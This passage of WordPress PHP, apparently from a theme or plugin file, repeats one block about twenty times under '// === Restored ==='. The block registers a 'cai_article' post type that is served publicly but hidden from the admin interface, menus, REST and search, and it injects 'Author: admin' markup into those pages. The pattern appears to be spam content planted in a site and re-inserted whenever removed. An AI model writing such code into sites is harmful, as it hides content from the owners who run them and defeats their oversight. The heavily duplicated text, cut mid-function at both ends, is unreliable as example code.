    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
